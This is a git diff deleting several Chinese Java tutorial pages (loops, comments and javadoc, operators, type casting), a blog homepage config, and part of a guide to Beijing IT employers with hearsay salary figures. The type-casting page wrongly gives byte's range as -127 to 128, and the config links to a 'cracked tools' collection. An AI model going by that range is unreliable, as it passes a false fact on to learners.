-} -``` - -输出: - -``` -1 -2 -3 -4 -6 -7 -8 -9 -10 -``` - -注意:如果把 if 条件中的“i++”省略掉的话,程序就会进入死循环,一直在 continue。 - -最后,再来看一下 do-while 循环时 continue 的使用示例: - -```java -int i=1; -do{ - if(i==5){ - i++; - continue; - } - System.out.println(i); - i++; -}while(i<=10); -``` - -输出: - -``` -1 -2 -3 -4 -6 -7 -8 -9 -10 -``` - -注意:同样的,如果把 if 条件中的“i++”省略掉的话,程序就会进入死循环,一直在 continue。 - -### 08、小结 - -本文全面讲解了Java流程控制语句,包括if、switch、while、for等结构。通过学习本文,你将了解到Java流程控制语句的基本概念、语法结构和使用场景,帮助你在实际编程过程中更加灵活地运用各类控制结构。 - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-grammar/javadoc.md b/docs/src/basic-grammar/javadoc.md deleted file mode 100644 index fc0c9d9039..0000000000 --- a/docs/src/basic-grammar/javadoc.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: 教妹学Java:了解Java注释 -shortTitle: Java注释 -category: - - Java核心 -tag: - - Java语法基础 -description: 本文详细介绍了Java编程中使用的三种注释方式:单行、多行和文档注释。通过对这三种注释类型的讲解和示例,您将了解它们的应用场景和使用技巧,提高代码的可读性和维护性。 -head: - - - meta - - name: keywords - content: Java, 注释, 单行注释, 多行注释, 文档注释 ---- - - -“二哥,Java 中的注释好像真没什么可讲的,我已经提前预习了,不过是单行注释,多行注释,还有文档注释。”三妹的脸上泛着甜甜的笑容,她竟然提前预习了接下来要学习的知识,有一种“士别三日,当刮目相看”的感觉。 - -“注释的种类确实不多,但还是挺有意思的,且听哥来给你说道说道。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-01.png) - -### 01、单行注释 - -单行注释通常用于解释方法内某单行代码的作用。 - -```java -public void method() { - int age = 18; // age 用于表示年龄 -} -``` - -**但如果写在行尾的话,其实是不符合阿里巴巴的开发规约的**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-02.png) - -正确的单行注释如上图中所说,在被注释语句上方另起一行,使用 `//` 注释。 - -```java -public void method() { - // age 用于表示年龄 - int age = 18; -} -``` - -### 02、多行注释 - -多行注释使用的频率其实并不高,通常用于解释一段代码的作用。 - -```java -/* -age 用于表示年纪 -name 用于表示姓名 -*/ -int age = 18; -String name = "沉默王二"; -``` - -以 `/*` 开始,以 `*/` 结束,但不如用多个 `//` 来得痛快,因为 `*` 和 `/` 不在一起,敲起来麻烦。 - -```java -// age 用于表示年纪 -// name 用于表示姓名 -int age = 18; -String name = "沉默王二"; -``` - -### 03、文档注释 - -文档注释可用在三个地方,类、字段和方法,用来解释它们是干嘛的。 - -```java -/** - * 微信搜索「沉默王二」,回复 Java - */ -public class Demo { - /** - * 姓名 - */ - private int age; - - /** - * main 方法作为程序的入口 - * - * @param args 参数 - */ - public static void main(String[] args) { - - } -} -``` - -PS:在 Intellij IDEA 中,按下 `/**` 后敲下回车键就可以自动添加文档注释的格式,`*/` 是自动补全的。 - -接下来,我们来看看如何通过 javadoc 命令生成代码文档。 - -**第一步**,在该类文件上右键,找到「Open in Terminal」 可以打开命令行窗口。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-03.png) - -**第二步**,执行 javadoc 命令 `javadoc Demo.java -encoding utf-8`。`-encoding utf-8` 可以保证中文不发生乱码。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-04.png) - -**第三步,**执行 `ls -l` 命令就可以看到生成代码文档时产生的文件,主要是一些可以组成网页的 html、js 和 css 文件。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-05.png) - -**第四步**,执行 `open index.html` 命令可以通过默认的浏览器打开文档注释。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-06.png) - -点击「Demo」,可以查看到该类更具体的注释文档。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-07.png) - -### 04、文档注释的注意事项 - -1)`javadoc` 命令只能为 public 和 protected 修饰的字段、方法和类生成文档。 - -default 和 private 修饰的字段和方法的注释将会被忽略掉。因为我们本来就不希望这些字段和方法暴露给调用者。 - -如果类不是 public 的话,javadoc 会执行失败。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-08.png) - -2)文档注释中可以嵌入一些 HTML 标记,比如说段落标记 `

`,超链接标记 `` 等等,但不要使用标题标记,比如说 `

`,因为 javadoc 会插入自己的标题,容易发生冲突。 - -3)文档注释中可以插入一些 `@` 注解,比如说 `@see` 引用其他类,`@version` 版本号,`@param` 参数标识符,`@author` 作者标识符,`@deprecated` 已废弃标识符,等等。 - -### 05、注释规约 - -1)类、字段、方法必须使用文档注释,不能使用单行注释和多行注释。因为注释文档在 IDE 编辑窗口中可以悬浮提示,提高编码效率。 - -比如说,在使用 [String 类](https://javabetter.cn/string/immutable.html)的时候,鼠标悬停在 String 上时可以得到以下提示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-09.png) - -2)所有的[抽象方法](https://javabetter.cn/oo/abstract.html)(包括接口中的方法)必须要用 Javadoc 注释、除了返回值、参数、 异常说明外,还必须指出该方法做什么事情,实现什么功能。 - -3)所有的类都必须添加创建者和创建日期。 - -Intellij IDEA 中可以在「File and Code Templates」中设置。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/fourteen-10.png) - -语法如下所示: - -``` -/** -* 微信搜索「沉默王二」,回复 Java -* @author 沉默王二 -* @date ${DATE} -*/ -``` - -设置好后,在新建一个类的时候就可以自动生成了。 - -```java -/** - * 微信搜索「沉默王二」,回复 Java - * - * @author 沉默王二 - * @date 2020/11/16 - */ -public class Test { -} -``` - -4)所有的[枚举](https://javabetter.cn/basic-extra-meal/enum.html)类型字段必须要有注释,说明每个数据项的用途。 - -5)代码修改的同时,注释也要进行相应的修改。 - -“好了,三妹,关于 Java 中的注释就先说这么多吧。”转动了一下僵硬的脖子后,我对三妹说。“记住一点,注释是程序固有的一部分。” - -- 第一、注释要能够准确反映设计思想和代码逻辑; -- 第二、注释要能够描述业务含 义,使别的程序员能够迅速了解到代码背后的信息。 - -完全没有注释的大段代码对于阅读者形同 天书,注释是给自己看的,即使隔很长时间,也能清晰理解当时的思路;注释也是给继任者看 的,使其能够快速接替自己的工作。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-grammar/operator.md b/docs/src/basic-grammar/operator.md deleted file mode 100644 index 2c457c0061..0000000000 --- a/docs/src/basic-grammar/operator.md +++ /dev/null @@ -1,312 +0,0 @@ ---- -title: 教妹学Java:5分钟掌握运算符 -shortTitle: Java运算符 -category: - - Java核心 -tag: - - Java语法基础 -description: 本文全面介绍了Java运算符,包括算术运算符、关系运算符、逻辑运算符、位运算符、赋值运算符等。通过阅读本文,您将了解到Java运算符的分类、用法和优先级,以及如何在实际开发中灵活运用各类运算符提高编程效率。 -head: - - - meta - - name: keywords - content: Java, 运算符, 算术运算符, 关系运算符, 逻辑运算符, 位运算符, 赋值运算符, 运算符用法, 运算符优先级 ---- - -“二哥,让我盲猜一下哈,运算符是不是指的就是加减乘除啊?”三妹的脸上泛着甜甜的笑容,我想她一定对提出的问题很有自信。 - -“是的,三妹。运算符在 Java 中占据着重要的位置,对程序的执行有着很大的帮助。除了常见的加减乘除,还有许多其他类型的运算符,来看下面这张思维导图。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/eleven-01.png) - - -### 01、算术运算符 - -算术运算符除了最常见的加减乘除,还有一个取余的运算符,用于得到除法运算后的余数,来串代码感受下。 - -```java -int a = 10; -int b = 5; - -System.out.println(a + b);//15 -System.out.println(a - b);//5 -System.out.println(a * b);//50 -System.out.println(a / b);//2 -System.out.println(a % b);//0 - -b = 3; -System.out.println(a + b);//13 -System.out.println(a - b);//7 -System.out.println(a * b);//30 -System.out.println(a / b);//3 -System.out.println(a % b);//1 -``` - -对于初学者来说,加法(+)、减法(-)、乘法(*)很好理解,但除法(/)和取余(%)会有一点点疑惑。在以往的认知里,10/3 是除不尽的,结果应该是 3.333333...,而不应该是 3。相应的,余数也不应该是 1。这是为什么呢? - -因为数字在程序中可以分为两种,一种是整型,一种是浮点型(不清楚的同学可以回头看看[数据类型那篇](https://javabetter.cn/basic-grammar/basic-data-type.html)),整型和整型的运算结果就是整型,不会出现浮点型。否则,就会出现浮点型。 - -```java -int a = 10; -float c = 3.0f; -double d = 3.0; -System.out.println(a / c); // 3.3333333 -System.out.println(a / d); // 3.3333333333333335 -System.out.println(a % c); // 1.0 -System.out.println(a % d); // 1.0 -``` - -需要注意的是,当浮点数除以 0 的时候,结果为 Infinity 或者 NaN。 - -```java -System.out.println(10.0 / 0.0); // Infinity -System.out.println(0.0 / 0.0); // NaN -``` - -Infinity 的中文意思是无穷大,NaN 的中文意思是这不是一个数字(Not a Number)。 - -当整数除以 0 的时候(`10 / 0`),会抛出[异常](https://javabetter.cn/exception/gailan.html): - -``` -Exception in thread "main" java.lang.ArithmeticException: / by zero - at com.itwanger.eleven.ArithmeticOperator.main(ArithmeticOperator.java:32) -``` - -所以整数在进行除法运算时,需要先判断除数是否为 0,以免程序抛出异常。 - -算术运算符中还有两种特殊的运算符,自增运算符(++)和自减运算符(--),它们也叫做一元运算符,只有一个操作数。 - -```java -int x = 10; -System.out.println(x++);//10 (11) -System.out.println(++x);//12 -System.out.println(x--);//12 (11) -System.out.println(--x);//10 -``` - -一元运算符可以放在数字的前面或者后面,放在前面叫前自增(前自减),放在后面叫后自增(后自减)。 - -前自增和后自增是有区别的,拿 `int y = ++x` 这个表达式来说(x = 10),它可以拆分为 `x = x+1 = 11; y = x = 11`,所以表达式的结果为 `x = 11, y = 11`。拿 `int y = x++` 这个表达式来说(x = 10),它可以拆分为 `y = x = 10; x = x+1 = 11`,所以表达式的结果为 `x = 11, y = 10`。 - -```java -int x = 10; -int y = ++x; -System.out.println(y + " " + x);// 11 11 - -x = 10; -y = x++; -System.out.println(y + " " + x);// 10 11 -``` - -对于前自减和后自减来说,你可以自己试一把。 - -### 02、关系运算符 - -关系运算符用来比较两个操作数,返回结果为 true 或者 false。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/eleven-02.png) - -来看示例: - -```java -int a = 10, b = 20; -System.out.println(a == b); // false -System.out.println(a != b); // true -System.out.println(a > b); // false -System.out.println(a < b); // true -System.out.println(a >= b); // false -System.out.println(a <= b); // true -``` - -### 03、位运算符 - -在学习位运算符之前,需要先学习一下二进制,因为位运算符操作的不是整型数值(int、long、short、char、byte)本身,而是整型数值对应的二进制。 - -```java -System.out.println(Integer.toBinaryString(60)); // 111100 -System.out.println(Integer.toBinaryString(13)); // 1101 -``` - - 从程序的输出结果可以看得出来,60 的二进制是 0011 1100(用 0 补到 8 位),13 的二进制是 0000 1101。 - -PS:现代的二进制记数系统由戈特弗里德·威廉·莱布尼茨于 1679 年设计。莱布尼茨是德意志哲学家、数学家,历史上少见的通才。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/eleven-03.png) - -来看示例: - -```java -int a = 60, b = 13; -System.out.println("a 的二进制:" + Integer.toBinaryString(a)); // 111100 -System.out.println("b 的二进制:" + Integer.toBinaryString(b)); // 1101 - -int c = a & b; -System.out.println("a & b:" + c + ",二进制是:" + Integer.toBinaryString(c)); - -c = a | b; -System.out.println("a | b:" + c + ",二进制是:" + Integer.toBinaryString(c)); - -c = a ^ b; -System.out.println("a ^ b:" + c + ",二进制是:" + Integer.toBinaryString(c)); - -c = ~a; -System.out.println("~a:" + c + ",二进制是:" + Integer.toBinaryString(c)); - -c = a << 2; -System.out.println("a << 2:" + c + ",二进制是:" + Integer.toBinaryString(c)); - -c = a >> 2; -System.out.println("a >> 2:" + c + ",二进制是:" + Integer.toBinaryString(c)); - -c = a >>> 2; -System.out.println("a >>> 2:" + c + ",二进制是:" + Integer.toBinaryString(c)); -``` - -对于初学者来说,位运算符无法从直观上去计算出结果,不像加减乘除那样。因为我们日常接触的都是十进制,位运算的时候需要先转成二进制,然后再计算出结果。 - -鉴于此,初学者在写代码的时候其实很少会用到位运算。对于编程高手来说,为了提高程序的性能,会在一些地方使用位运算。比如说,HashMap 在计算哈希值的时候: - -```java -static final int hash(Object key) { - int h; - return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); -} -``` - -如果对位运算一点都不懂的话,遇到这样的源码就很吃力。所以说,虽然位运算用的少,但还是要懂。 - -1)按位左移运算符: - -```java -System.out.println(10<<2);//10*2^2=10*4=40 -System.out.println(10<<3);//10*2^3=10*8=80 -System.out.println(20<<2);//20*2^2=20*4=80 -System.out.println(15<<4);//15*2^4=15*16=240 -``` - -`10<<2` 等于 10 乘以 2 的 2 次方;`10<<3` 等于 10 乘以 2 的 3 次方。 - -2)按位右移运算符: - -```java -System.out.println(10>>2);//10/2^2=10/4=2 -System.out.println(20>>2);//20/2^2=20/4=5 -System.out.println(20>>3);//20/2^3=20/8=2 -``` - -`10>>2` 等于 10 除以 2 的 2 次方;`20>>2` 等于 20 除以 2 的 2 次方。 - -### 04、逻辑运算符 - -逻辑与运算符(&&):多个条件中只要有一个为 false 结果就为 false。 - -逻辑或运算符(||):多个条件只要有一个为 true 结果就为 true。 - -```java -int a=10; -int b=5; -int c=20; -System.out.println(ab||ab|a short -> int -> long -> float -> double -char -> int -> long -> float -> double -``` - -下面是一个简单的示例,演示了自动类型转换: - -```java -int intValue = 5; -double doubleValue = 2.5; - -// 自动类型转换:intValue 被转换为 double 类型 -double result = intValue * doubleValue; -System.out.println("结果: " + result); // 输出:结果: 12.5 -``` - -在这个示例中,我们有一个 int 类型的变量 intValue 和一个 double 类型的变量 doubleValue。当我们将它们相乘时,根据自动类型转换的规则,intValue 将被转换为 double 类型,以便将两个 double 类型的操作数相乘。最终结果将是一个 double 类型的值:12.5。 - -再来举个例子,顾客到超市购物,购买牙膏 2 盒,面巾纸 4 盒。其中牙膏的价格是 10.9 元,面巾纸的价格是 5.8 元,求商品总价格。实现代码如下: - -```java -float price1 = 10.9f; // 定义牙膏的价格,单精度浮点型float -double price2 = 5.8; // 定义面巾纸的价格,双精度浮点型double -int num1 = 2; // 定义牙膏的数量,整型 int -int num2 = 4; // 定义面巾纸的数量 -double res = price1 * num1 + price2 * num2; // 计算总价 -System.out.println("一共付给收银员" + res + "元"); // 输出总价 -``` - -上述代码中首先定义了一个 float 类型的变量存储牙膏的价格,然后定义了一个 double 类型的变量存储面巾纸的价格,再定义两个 int 类型的变量存储物品的数量,最后进行了乘运算以及和运算之后,将结果储存在一个 double 类型的变量中进行输出。 - -``` -一共付给收银员44.99999923706055元 -``` - -从执行结果看出,float、int 和 double 三种数据类型参与运算,最后输出的结果为 double 类型的数据。这种转换一般称为“表达式中类型的自动提升”。 - -自动类型提升有好处,但它也会引起令人疑惑的编译错误。例如,下面看起来正确的程序却会引起问题: - -```java -byte b = 50; - -b = b * 2; // Type mismatch: cannot convert from int to byte -``` - -如上所示,第二行会报“类型不匹配:无法从int转换为byte”错误。 - -该程序试图将一个完全合法的 byte 型的值 `50*2` 存储给一个 byte 型的变量。但是当表达式求值的时候,操作数被自动的提升为 int 型,计算结果也被提升为 int 型。这样表达式的结果现在是 int 型,不强制转换它就不能被赋为 byte 型。 - -所以应该使用一个显示的强制类型转换,例如: - -```java -byte b = 50; -b = (byte)(b*2); -``` - -这样就能产生正确的值 100。 - -但如果是下面这样的代码,就不会报错: - -```java -byte b = 50; -b *= 2; -``` - -这是因为 `b *= 2` 等价于 b = `(byte)(b*2)`,编译器会自动进行强制类型转换。 - -另外,之前有[球友](https://javabetter.cn/zhishixingqiu/)不太理解这样的代码: - -```java -byte b = 50; -``` - -球友认为 50 默认的是 int 类型,大范围类型转换为小范围类型不应该是需要强制转化吗? - -我的回答是编译器帮我们自动做了隐式转换,一个值是 int 类型,但是它的值在 byte 类型的取值范围(-127到 128)内,那么编译器会自动将 int 类型转换为 byte 类型。 - -![](https://cdn.paicoding.com/stutymore/type-cast-20240110162913.png) - -希望大家能顾理解,自动类型转换并不局限于小类型到大类型,也可以是大类型到小类型,只要值在小类型的取值范围内,编译器就会自动帮我们做隐式转换。 - -注意:char 类型比较特殊,char 自动转换成 int、long、float 和 double,但 byte 和 short 不能自动转换为 char,而且 char 也不能自动转换为 byte 或 short。 - -### 02、强制类型转换 - -强制类型转换是 Java 中将一种数据类型显式转换为另一种数据类型的过程。与自动类型转换不同,强制类型转换需要程序员显式地指定要执行的转换。强制类型转换在以下情况中可能需要: - -- 将较大的数据类型转换为较小的数据类型。 -- 将浮点数转换为整数。 -- 将字符类型转换为数值类型。 - -需要注意的是,强制类型转换可能会导致数据丢失或精度降低,因为目标类型可能无法容纳原始类型的所有可能值。因此,在进行强制类型转换时,需要确保转换后的值仍然在目标类型的范围内。 - -``` -double -> float -> long -> int -> char -> short -> byte -``` - -以下是一个简单的示例,演示了强制类型转换: - -```java -double doubleValue = 42.8; - -// 强制类型转换:将 double 类型转换为 int 类型 -int intValue = (int) doubleValue; -System.out.println("整数值: " + intValue); // 输出:整数值: 42 -``` - -在这个示例中,我们有一个 double 类型的变量 doubleValue。我们希望将其转换为 int 类型的变量 intValue。为此,我们使用强制类型转换语法,即在要转换的变量之前加上目标类型的括号(如 (int))。 - -需要注意的是,将 doubleValue 转换为 int 类型时,小数部分将被截断。因此,输出结果将是:Integer value: 42。在这种情况下,精度丢失是可以接受的,但在其他情况下,我们可能需要更加小心地处理类型转换以避免数据丢失。 - -顾客到超市购物,购买牙膏 2 盒,面巾纸 4 盒。其中牙膏的价格是 10.9 元,面巾纸的价格是 5.8 元,求商品总价格,在计算总价时采用 int 类型的数据进行存储。实现代码如下: - -```java -float price1 = 10.9f; -double price2 = 5.8; -int num1 = 2; -int num2 = 4; -int res2 = (int) (price1 * num1 + price2 * num2); -System.out.println("一共付给收银员" + res2 + "元"); -``` - -在上述实例中,有 double 类型、float 类型和 int 类型的数据参与运算,其运算结果默认为 double 类型,题目要求的结果为 int 类型,因为 int 类型的取值范围要小于 double 类型的取值范围,所以需要进行强制类型转换。 - -``` -一共付给收银员44元 -``` - -### 小结 - -考虑下面这几个算式的结果: - -```java -int a = 1500000000, b = 1500000000; -int sum = a + b; -long sum1 = a + b; -long sum2 = (long)a + b; -long sum3 = (long)(a + b); -``` - -“这几个结果应该一样吧,都是求 a+b 的结果嘛。”三妹想当然地得出了她的结论。 - -“不是的,三妹,你看看这几个结果的值。”我说。 - -```java --1294967296 --1294967296 -3000000000 --1294967296 -``` - -“这是怎么回事?为什么结果不一样?”三妹有点懵。 - -“这是因为int 类型的取值范围是 `-2147483648~2147483647`,而 a 和 b 的值都是 1500000000,和超出了 int 类型的取值范围,所以会出现溢出的情况。”我解释道。 - -“那为什么 sum2 的结果是 3000000000 呢?”三妹又问。 - -“这是因为 sum2 的计算过程是先将 a 转换为 long 类型(强制类型转换),然后再和 b 相加(隐式类型转换),此时的结果也是 long 型,而 3000000000 并没有超出 long 型的取值范围。”我说。 - -- `int sum = a + b`,a 和 b 都是 int 类型,所以 a+b 的结果也是 int 类型,但是 a+b 的结果超出了 int 类型的取值范围,所以会出现溢出的情况。 -- `long sum1 = a + b`,a 和 b 都是 int 类型,于是 a+b 的和也是 int 类型,但超出了 int 的取值范围,所以会出现溢出的情况;如果 a+b 的和没有超出 int 取值范围,其实会将 a+b 的结果隐式转换为 long 类型。 -- `long sum2 = (long)a + b`,a 是 int 类型,但是 `(long)a` 将 a 强转为了 long 类型,然后再和 b 相加,此时 b 将隐式提升为 long 型,于是等式右边的结果也是 long 型,而 3000000000 并没有超出 long 型的取值范围。 -- `long sum3 = (long)(a + b)`,a 和 b 都是 int 类型,a+b 的结果也是 int 类型,但超出了 int 的取值范围,所以会出现溢出的情况;即便是外面有一层 long 的强转,但还没有来得及强转,a+b 的结果已经溢出了,所以强转也没用。 - -那以上,基本上就把 Java 中的基本类型转化讲清楚了。 - - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/blog.md b/docs/src/blog.md deleted file mode 100644 index 2872d26319..0000000000 --- a/docs/src/blog.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -home: true -layout: BlogHome -icon: home -title: 博客 -heroImage: /itwanger.png -heroText: 沉默王二的技术博客 -heroFullScreen: false -tagline: 技术文通俗易懂,吹水文风趣幽默。 -projects: - - icon: project - name: 进阶之路 - desc: 二哥的Java进阶之路 - link: /home.md - - - icon: link - name: 知识星球 - desc: 二哥的编程学习圈子 - link: /zhishixingqiu/ - - - icon: book - name: Java电子书下载 - desc: Java程序员常读书单,附下载地址 - link: /download/java.md - - - icon: article - name: 学习路线 - desc: CS 学习指南 - link: /xuexiluxian/ - - - icon: friend - name: 面渣逆袭 - desc: 面试找工作前必刷 - link: /sidebar/sanfene/nixi.md - - - icon: zhongyaotishi - name: 破解合集 - desc: 程序员常用工具聚集地 - link: /nice-article/itmind/ - ---- diff --git a/docs/src/cityselect/beijing.md b/docs/src/cityselect/beijing.md deleted file mode 100644 index d714a3b019..0000000000 --- a/docs/src/cityselect/beijing.md +++ /dev/null @@ -1,319 +0,0 @@ ---- -shortTitle: 北京 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 北京都有哪些值得加入的IT互联网公司? - - -大家好,我是二哥呀,最近读者君哥那梳理完了北京的上百家知名科技公司,强烈要求二哥推荐给大家看看。刚好,二哥公众号后台数据一看,果然还是北京的小伙伴最多,年后大家有跳槽的意愿的话,不妨参考下! -作为国家的科技中心,北京遍布着各种规模的互联网公司、国企、研究院、银行系,给求职者们提供了非常多的选择机会。 - -因为北京适合程序员工作的企业实在太多了,所以怎样给大家介绍北京适合程序员的工作机会一直让我十分头疼。如果写的太简单,我跟大家说北京有百度、腾讯、阿里、美团等等,大家一定觉得我是在废话,但把所有企业一次性全介绍了工作量太大,并且文章也看不出重点了。所以我最终决定,北京拆成三篇来讲,一篇介绍北京的国企央企研究所、一篇介绍北京的大型互联网公司和大型外企、一篇介绍北京的中小型互联网公司。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-68628d58-37ff-44c8-a3f6-6b9f4978f976.jpg) - -我发现在互联网公司工作的程序员都对国企央企以及研究所十分好奇,但是因为这些单位的信息比较封闭,所以大家对于这些企业的工作方式以及薪酬情况都都不清楚。为了能给北京系列开个好头,第一篇文章我就以我熟悉的北京的国企央企研究所来给大家介绍了。想提前声明一点,虽然我有很多同学和朋友在北京国企央企以及研究所,但是同一个公司,不同的部门或者不同的组差别都太大了。尤其是研究所,每个系列都有数量庞大的下属研究所,并且下属的研究所独立性都特别高,所以风格差别很大。我只能把我见到的情况给大家做一个介绍,具体去到哪个研究所哪个团队还得你们自己去详细打听。只能说我的介绍相对于更接近一些真实。如果大家发现哪里有误,欢迎大家指出。 - -下面还是分开来介绍: - -## 国企&央企 - -在这篇文章中说的都是国企和央企的直属软件开发中心,子公司是不包含在里面的。子公司的工作风格差别很大。总体来说,国企和央企在软件技术上都是差互联网公司一大截的,待遇好不好真的看具体公司。是有些好的国企,我一个朋友在某国企虽然工资不太高,但是上了两年没加过班。也有一些国企,加班比拼多多都重,但是工资低且福利差。 - -### 银行软件开发中心 - -最近几年计算机相关专业应届毕业生对于银行的软件开发中心热情越来越高,主要是由于银行的软件开发中心比较稳定,薪酬也还可以。目前应届生选择比较多的是工行、农行、中国银行、邮储银行的软件开发中心。大家比较感兴趣就分开详细介绍下吧。银行软件开发中心在校招时和互联网公司不太一样,hr 只会和你说一个大概的工资,hr 说的工资只能参考,工资还是以实际发放为准。如果想知道具体工资你得私下去问和你关系好的学长学姐,或者只能等工资发下来了才能知道。另外银行软件开发中心的稳定也只是说轻易不会开除你,但是忙不忙就要看你运气了。银行软件开发中心有的组忙起来完全不虚 PDD。 - -#### 工商银行软件开发中心 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-b8653934-cc7f-4703-81f2-f654f7d4440a.png) - -和同行相比,工商银行的软件开发中心算技术最好的了。工行喜欢招应届生,社招进来的比较少。刚进来的应届生职级是助理经理,税前年薪差不多是20万左右(到手15-16万吧,加上年终奖和节假日补贴)。工资发放方式稍微有点奇怪,就是每月发八九千,然后留一部分年底一并发放。每月会有饭补,过节也会有节假日补贴(放三天的节日假期给 1000,国庆给 2000,过年 4000)。这个职级的工资对于在北京工作来说还是有点难顶的,毕竟光跟人合租每月就要画掉两千多了。如果你是本科毕业进入工行,从助理经理升到经理一需要两年时间,硕士只需要一年,这个职级基本上全都能按时达到,不过工资变化不太大。从经理一升到经理二大约要一到两年的时间,这就看你能力了,经理二以后工资就相对多一些了,经理二绩效不太好的话每年到手能拿 22 万左右,如果绩效好,可能能拿到 29 万左右。经理二升经理三就完全看你自己能力了,到经理三以后每年到手都能 35 万左右,收入就很可观了。另外在工行发专利什么的也有些奖金,一个专利貌似是奖励 5000. - -工行的总行是在珠海。工行在西安、杭州等地也设立了研发中心,都是属于总行。目前北京这边也一直在动员员工去西安,薪资和北京差不太多。听说西安那边的工行加班比较严重。北京这边总体还好,卷不卷看你组长了,不过你也可以不甩你领导,他们是很难开掉你的,他们能的只是绩效给你打低点,你工资少点。 - -#### 农业银行软件开发中心 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-fb046afd-1116-4619-a5ae-d9756863ca19.png) - -感觉农业银行的软件开发中心技术比工行差一点,不过工资比工行多一些,刚毕业的应届生税前能到税前25万-32万(这是hr说的啊,我了解到的西安每月税后到手是 1万2,加上年终奖税前能算 20 万的年包,北京比西安稍微多一点点,但是多不了太多)。农行软件开发中心有个大问题就是工资分配很平均,但是工作量分布不均,有的组十分养生,有的组忙的受不了(越接近客户用的产品线越累)。我的一个学长天天早早就下班了,另外一个同学周末跟我吃个饭都急匆匆的,为了投产要加班到凌晨。目前农行内部的怨气比较大,这点大家在脉脉上也能看出来。农行想要升职还要去考软考。 - -#### 中国银行软件开发中心 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-e3490a86-2b92-4a47-8c68-8e2281c2cb32.png) - -中国银行软件开发中心算是给钱最少的了,年包15万左右。这钱在北京确实太少了。不过工作是目前几个银行软开里最轻松的,家里不怎么缺钱,只想找个轻松稳定的可以选。 - -#### 邮政储蓄银行软件研发中心 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-4e15e06c-f808-4d79-954f-3fbca94ce6e6.png) - -第一年包含试用期,年薪税前总包 26w, 第二年年薪税前总包 31w。加不加班看你运气了,运气好被分到好的组不怎么加班,运气不好就很惨了。在北京工作的话不会被外调,但是在西安等地工作的许多人会被外调。 - -### 券商 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-58cd1949-b992-4550-b2e1-b24c519c0a78.png) - -曾经农行软开的一位领导来我们学校校招宣讲时就说因为银行的工资有限制,涨薪比较慢。所以很多银行软开的职工干几年后就会跑到券商去挣钱。那时我才知道券商居然还招不少程序员。后来我发现中信建投证券是真不错,北京这边校招生进来月薪 18k ,年终奖 6 个月,虽然薪资还是不及互联网公司,但是涨薪速度相比于其它国企央企还是快很多的。另外只有股票开市的日子用上班,加班很少。不过对于学历的要求比较高,必须是985硕士,并且还卡本科。 - -对于其它券商的情况我知道的就不多了,这里给大家提供一个找工作的思路,大家可以多去了解下。 - -### 运营商 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/beijing-1b67f498-dc2e-401f-b942-59455b941bd9.png) - -这里说的运营商说的是移动联通还有电信的研究院。移动的工资发放风格和工行有异曲同工之妙,每个月发的工资很少,到年终会一起再发一些。应届生年薪大概 20w 左右,平时工资发一半,年终把剩下的一半发给你。联通在北京的研究院有两个,一个叫联通研究院,一个叫联通软件研究院。我听说的是联通研究院比较好,联通软件研究院比较坑。 电信研究院的据说很轻松,但是工资低,没朋友在这里,我不太确定,只是听说。 - -## 研究所 - 